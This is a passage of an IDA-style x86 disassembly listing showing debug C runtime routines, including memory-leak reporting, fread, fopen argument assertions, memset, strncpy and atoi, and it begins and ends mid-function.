		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4C], 0
		jmp	short loc_41717B
; ---------------------------------------------------------------------------


loc_417172:				; CODE XREF: sub_417160+D7j
		mov	eax, [ebp+var_4C]
		add	eax, 1
		mov	[ebp+var_4C], eax


loc_41717B:				; CODE XREF: sub_417160+10j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 10h
		jge	short loc_41718F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+10h]
		mov	[ebp+var_54], eax
		jmp	short loc_417196
; ---------------------------------------------------------------------------


loc_41718F:				; CODE XREF: sub_417160+22j
		mov	[ebp+var_54], 10h


loc_417196:				; CODE XREF: sub_417160+2Dj
		mov	ecx, [ebp+var_4C]
		cmp	ecx, [ebp+var_54]
		jge	loc_41723C
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4C]
		mov	al, [edx+20h]
		mov	byte ptr [ebp+var_50], al
		cmp	dword_447480, 1
		jle	short loc_4171D3
		push	157h
		mov	ecx, [ebp+var_50]
		and	ecx, 0FFh
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_58], eax
		jmp	short loc_4171F0
; ---------------------------------------------------------------------------


loc_4171D3:				; CODE XREF: sub_417160+55j
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 157h
		mov	[ebp+var_58], ecx


loc_4171F0:				; CODE XREF: sub_417160+71j
		cmp	[ebp+var_58], 0
		jz	short loc_417204
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	[ebp+var_5C], edx
		jmp	short loc_41720B
; ---------------------------------------------------------------------------


loc_417204:				; CODE XREF: sub_417160+94j
		mov	[ebp+var_5C], 20h


loc_41720B:				; CODE XREF: sub_417160+A2j
		mov	eax, [ebp+var_4C]
		mov	cl, byte ptr [ebp+var_5C]
		mov	[ebp+eax+var_48], cl
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		push	edx
		push	offset a_2x	; "%.2X	"
		mov	eax, [ebp+var_4C]
		imul	eax, 3
		lea	ecx, [ebp+eax+var_34]
		push	ecx
		call	sub_417CB0
		add	esp, 0Ch
		jmp	loc_417172
; ---------------------------------------------------------------------------


loc_41723C:				; CODE XREF: sub_417160+3Cj
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_48], 0


loc_417244:				; CODE XREF: sub_417160+10Bj
		lea	eax, [ebp+var_34]
		push	eax
		lea	ecx, [ebp+var_48]
		push	ecx
		push	offset aDataSS	; " Data: <%s> %s\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_417267
		int	3		; Trap to Debugger


loc_417267:				; CODE XREF: sub_417160+104j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_417244
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_417160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417280	proc near		; CODE XREF: sub_417B70+B9p

var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_416B80
		add	esp, 4
		cmp	[ebp+var_20], 0
		jnz	short loc_4172B4
		cmp	[ebp+var_2C], 0
		jnz	short loc_4172B4
		mov	ecx, dword_444E70
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_4172EB
		cmp	[ebp+var_28], 0
		jz	short loc_4172EB


loc_4172B4:				; CODE XREF: sub_417280+19j
					; sub_417280+1Fj ...
		push	offset aDetectedMemory ; "Detected memory leaks!\n"
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4172D4
		int	3		; Trap to Debugger


loc_4172D4:				; CODE XREF: sub_417280+51j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4172B4
		push	0
		call	sub_416E60
		add	esp, 4
		mov	eax, 1
		jmp	short loc_4172ED
; ---------------------------------------------------------------------------


loc_4172EB:				; CODE XREF: sub_417280+2Cj
					; sub_417280+32j
		xor	eax, eax


loc_4172ED:				; CODE XREF: sub_417280+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_417280	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_417312
		jmp	loc_4173BE
; ---------------------------------------------------------------------------


loc_417312:				; CODE XREF: .data:0041730Bj
		mov	dword ptr [ebp-4], 0
		jmp	short loc_417324
; ---------------------------------------------------------------------------


loc_41731B:				; CODE XREF: .data:0041736Cj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_417324:				; CODE XREF: .data:00417319j
		cmp	dword ptr [ebp-4], 5
		jge	short loc_41736E


loc_41732A:				; CODE XREF: .data:0041736Aj
		mov	ecx, [ebp-4]
		mov	edx, off_444E80[ecx*4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+18h]
		push	edx
		push	offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_417366
		int	3		; Trap to Debugger


loc_417366:				; CODE XREF: .data:00417363j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41732A
		jmp	short loc_41731B
; ---------------------------------------------------------------------------


loc_41736E:				; CODE XREF: .data:00417328j
					; .data:00417394j
		mov	ecx, [ebp+8]
		mov	edx, [ecx+2Ch]
		push	edx
		push	offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_417390
		int	3		; Trap to Debugger


loc_417390:				; CODE XREF: .data:0041738Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41736E


loc_417396:				; CODE XREF: .data:004173BCj
		mov	ecx, [ebp+8]
		mov	edx, [ecx+30h]
		push	edx
		push	offset aTotalAllocatio ; "Total	allocations: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4173B8
		int	3		; Trap to Debugger


loc_4173B8:				; CODE XREF: .data:004173B5j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_417396


loc_4173BE:				; CODE XREF: .data:0041730Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4173D0	proc near		; CODE XREF: sub_4010AA+43p
					; sub_40D78C+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_41AE20
		add	esp, 4
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_417410
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_41AE90
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4173D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417410	proc near		; CODE XREF: sub_4173D0+20p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		imul	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_417439
		xor	eax, eax
		jmp	loc_4175DB
; ---------------------------------------------------------------------------


loc_417439:				; CODE XREF: sub_417410+20j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jz	short loc_417454
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax
		jmp	short loc_41745B
; ---------------------------------------------------------------------------


loc_417454:				; CODE XREF: sub_417410+37j
		mov	[ebp+var_1C], 1000h


loc_41745B:				; CODE XREF: sub_417410+42j
					; sub_417410:loc_4175D3j
		cmp	[ebp+var_C], 0
		jz	loc_4175D8
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		and	edx, 10Ch
		test	edx, edx
		jz	short loc_4174E9
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4174E9
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+4]
		jnb	short loc_417491
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_41749A
; ---------------------------------------------------------------------------


loc_417491:				; CODE XREF: sub_417410+77j
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_20], edx


loc_41749A:				; CODE XREF: sub_417410+7Fj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_419330
		add	esp, 0Ch
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		jmp	loc_4175D3
; ---------------------------------------------------------------------------


loc_4174E9:				; CODE XREF: sub_417410+63j
					; sub_417410+6Cj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_1C]
		jb	loc_41758E
		cmp	[ebp+var_1C], 0
		jz	short loc_41750D
		mov	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+var_1C]
		mov	eax, [ebp+var_C]
		sub	eax, edx
		mov	[ebp+var_24], eax
		jmp	short loc_417513
; ---------------------------------------------------------------------------


loc_41750D:				; CODE XREF: sub_417410+E9j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_24], ecx


loc_417513:				; CODE XREF: sub_417410+FBj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+10h]
		push	eax
		call	sub_41FCF0
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_417558
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_4175DB
; ---------------------------------------------------------------------------


loc_417558:				; CODE XREF: sub_417410+127j
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41757A
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4175DB
; ---------------------------------------------------------------------------


loc_41757A:				; CODE XREF: sub_417410+14Cj
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		jmp	short loc_4175D3
; ---------------------------------------------------------------------------


loc_41758E:				; CODE XREF: sub_417410+DFj
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_41FB00
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_4175B0
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4175DB
; ---------------------------------------------------------------------------


loc_4175B0:				; CODE XREF: sub_417410+191j
		mov	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_4]
		mov	[ecx], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax


loc_4175D3:				; CODE XREF: sub_417410+D4j
					; sub_417410+17Cj
		jmp	loc_41745B
; ---------------------------------------------------------------------------


loc_4175D8:				; CODE XREF: sub_417410+4Fj
		mov	eax, [ebp+arg_8]


loc_4175DB:				; CODE XREF: sub_417410+24j
					; sub_417410+143j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_417410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E0	proc near		; CODE XREF: sub_4176E0+Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_4175E9:				; CODE XREF: sub_4175E0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41760D
		push	offset aFileNull ; "file != NULL"
		push	0
		push	35h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41760D
		int	3		; Trap to Debugger


loc_41760D:				; CODE XREF: sub_4175E0+Dj
					; sub_4175E0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4175E9


loc_417613:				; CODE XREF: sub_4175E0+5Fj
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_41763B
		push	offset aFile_t0	; "*file != _T('\\0')"
		push	0
		push	36h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41763B
		int	3		; Trap to Debugger


loc_41763B:				; CODE XREF: sub_4175E0+3Bj
					; sub_4175E0+58j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_417613


loc_417641:				; CODE XREF: sub_4175E0+89j
		cmp	[ebp+arg_4], 0
		jnz	short loc_417665
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	37h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417665
		int	3		; Trap to Debugger


loc_417665:				; CODE XREF: sub_4175E0+65j
					; sub_4175E0+82j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_417641


loc_41766B:				; CODE XREF: sub_4175E0+B7j
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_417693
		push	offset aMode_t0	; "*mode != _T('\\0')"
		push	0
		push	38h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_417693
		int	3		; Trap to Debugger


loc_417693:				; CODE XREF: sub_4175E0+93j
					; sub_4175E0+B0j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41766B
		call	sub_420560
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4176AB
		xor	eax, eax
		jmp	short loc_4176D5
; ---------------------------------------------------------------------------


loc_4176AB:				; CODE XREF: sub_4175E0+C5j
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4201D0
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41AE90
		add	esp, 4
		mov	eax, [ebp+var_8]


loc_4176D5:				; CODE XREF: sub_4175E0+C9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4175E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4176E0	proc near		; CODE XREF: sub_4010AA+18p
					; sub_401C87+342Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4175E0
		add	esp, 0Ch
		pop	ebp
		retn
sub_4176E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417700	proc near		; CODE XREF: .data:00401207p
					; .data:00401215p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417753
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417747
		neg	ecx
		and	ecx, 3
		jz	short loc_417729
		sub	edx, ecx


loc_417723:				; CODE XREF: sub_417700+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417723


loc_417729:				; CODE XREF: sub_417700+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417747
		rep stosd
		test	edx, edx
		jz	short loc_41774D


loc_417747:				; CODE XREF: sub_417700+18j
					; sub_417700+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417747


loc_41774D:				; CODE XREF: sub_417700+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417753:				; CODE XREF: sub_417700+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_401404+48Ap
					; sub_401404+4A6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_4177E3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_417784
		shr	ecx, 2
		jnz	short loc_4177F1
		jmp	short loc_4177A5
; ---------------------------------------------------------------------------


loc_417784:				; CODE XREF: sub_417760+1Bj
					; sub_417760+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_4177B2
		test	al, al
		jz	short loc_4177BA
		test	esi, 3
		jnz	short loc_417784
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4177F1


loc_4177A0:				; CODE XREF: sub_417760+8Fj
		and	ebx, 3
		jz	short loc_4177B2


loc_4177A5:				; CODE XREF: sub_417760+22j
					; sub_417760+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_4177DE
		dec	ebx
		jnz	short loc_4177A5


loc_4177B2:				; CODE XREF: sub_417760+2Bj
					; sub_417760+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4177BA:				; CODE XREF: sub_417760+2Fj
		test	edi, 3
		jz	short loc_4177D4


loc_4177C2:				; CODE XREF: sub_417760+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_417856
		test	edi, 3
		jnz	short loc_4177C2


loc_4177D4:				; CODE XREF: sub_417760+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_417847


loc_4177DB:				; CODE XREF: sub_417760+7Fj
					; sub_417760+F4j
		mov	[edi], al
		inc	edi


loc_4177DE:				; CODE XREF: sub_417760+4Dj
		dec	ebx
		jnz	short loc_4177DB
		pop	ebx
		pop	esi


loc_4177E3:				; CODE XREF: sub_417760+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4177E9:				; CODE XREF: sub_417760+A9j
					; sub_417760+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_4177A0


loc_4177F1:				; CODE XREF: sub_417760+20j
					; sub_417760+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4177E9
		test	dl, dl
		jz	short loc_41783B
		test	dh, dh
		jz	short loc_417831
		test	edx, 0FF0000h
		jz	short loc_417827
		test	edx, 0FF000000h
		jnz	short loc_4177E9
		mov	[edi], edx
		jmp	short loc_41783F
; ---------------------------------------------------------------------------


loc_417827:				; CODE XREF: sub_417760+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41783F
; ---------------------------------------------------------------------------


loc_417831:				; CODE XREF: sub_417760+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41783F
; ---------------------------------------------------------------------------


loc_41783B:				; CODE XREF: sub_417760+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41783F:				; CODE XREF: sub_417760+C5j
					; sub_417760+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_417851


loc_417847:				; CODE XREF: sub_417760+79j
		xor	eax, eax


loc_417849:				; CODE XREF: sub_417760+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_417849


loc_417851:				; CODE XREF: sub_417760+E5j
		and	ebx, 3
		jnz	short loc_4177DB


loc_417856:				; CODE XREF: sub_417760+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_417760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417860	proc near		; CODE XREF: sub_417960+7p
					; sub_42DC00+8Fp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h


loc_417866:				; CODE XREF: sub_417860+4Ej
		cmp	dword_447480, 1
		jle	short loc_417886
		push	8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_41789F
; ---------------------------------------------------------------------------


loc_417886:				; CODE XREF: sub_417860+Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_10], edx


loc_41789F:				; CODE XREF: sub_417860+24j
		cmp	[ebp+var_10], 0
		jz	short loc_4178B0
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_417866
; ---------------------------------------------------------------------------


loc_4178B0:				; CODE XREF: sub_417860+43j
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_4], 2Dh
		jz	short loc_4178D5
		cmp	[ebp+var_4], 2Bh
		jnz	short loc_4178E8


loc_4178D5:				; CODE XREF: sub_417860+6Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_4178E8:				; CODE XREF: sub_417860+73j
		mov	[ebp+var_8], 0


loc_4178EF:				; CODE XREF: sub_417860+E9j
		cmp	dword_447480, 1
		jle	short loc_41790B
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_14], eax
		jmp	short loc_417920
; ---------------------------------------------------------------------------


loc_41790B:				; CODE XREF: sub_417860+96j
		mov	eax, [ebp+var_4]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_14], edx


loc_417920:				; CODE XREF: sub_417860+A9j
		cmp	[ebp+var_14], 0
		jz	short loc_41794B
		mov	eax, [ebp+var_8]
		imul	eax, 0Ah
		mov	ecx, [ebp+var_4]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_4178EF
; ---------------------------------------------------------------------------


loc_41794B:				; CODE XREF: sub_417860+C4j
		cmp	[ebp+var_C], 2Dh
		jnz	short loc_417958
		mov	eax, [ebp+var_8]
		neg	eax
		jmp	short loc_41795B
; ---------------------------------------------------------------------------


loc_417958:				; CODE XREF: sub_417860+EFj
		mov	eax, [ebp+var_8]


loc_41795B:				; CODE XREF: sub_417860+F6j
		mov	esp, ebp
		pop	ebp
		retn
sub_417860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417960	proc near		; CODE XREF: sub_401404+2F4p
					; sub_401C87+70Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_417860
		add	esp, 4
		pop	ebp
		retn
sub_417960	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi


loc_417987:				; CODE XREF: .data:004179CFj
		cmp	dword_447480, 1
		jle	short loc_4179A7
		push	8
		mov	eax, [ebp+8]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-14h], eax
		jmp	short loc_4179C0
; ---------------------------------------------------------------------------


loc_4179A7:				; CODE XREF: .data:0041798Ej
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp-14h], edx


loc_4179C0:				; CODE XREF: .data:004179A5j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_4179D1
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		jmp	short loc_417987
; ---------------------------------------------------------------------------


loc_4179D1:				; CODE XREF: .data:004179C4j
		mov	ecx, [ebp+8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp-4], edx
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		mov	ecx, [ebp-4]
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-4], 2Dh
		jz	short loc_4179F6
		cmp	dword ptr [ebp-4], 2Bh
		jnz	short loc_417A09


loc_4179F6:				; CODE XREF: .data:004179EEj
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx


loc_417A09:				; CODE XREF: .data:004179F4j
		mov	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-8], 0


loc_417A17:				; CODE XREF: .data:00417A87j
		cmp	dword_447480, 1
		jle	short loc_417A33
		push	4
		mov	edx, [ebp-4]
		push	edx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp-18h], eax
		jmp	short loc_417A48
; ---------------------------------------------------------------------------


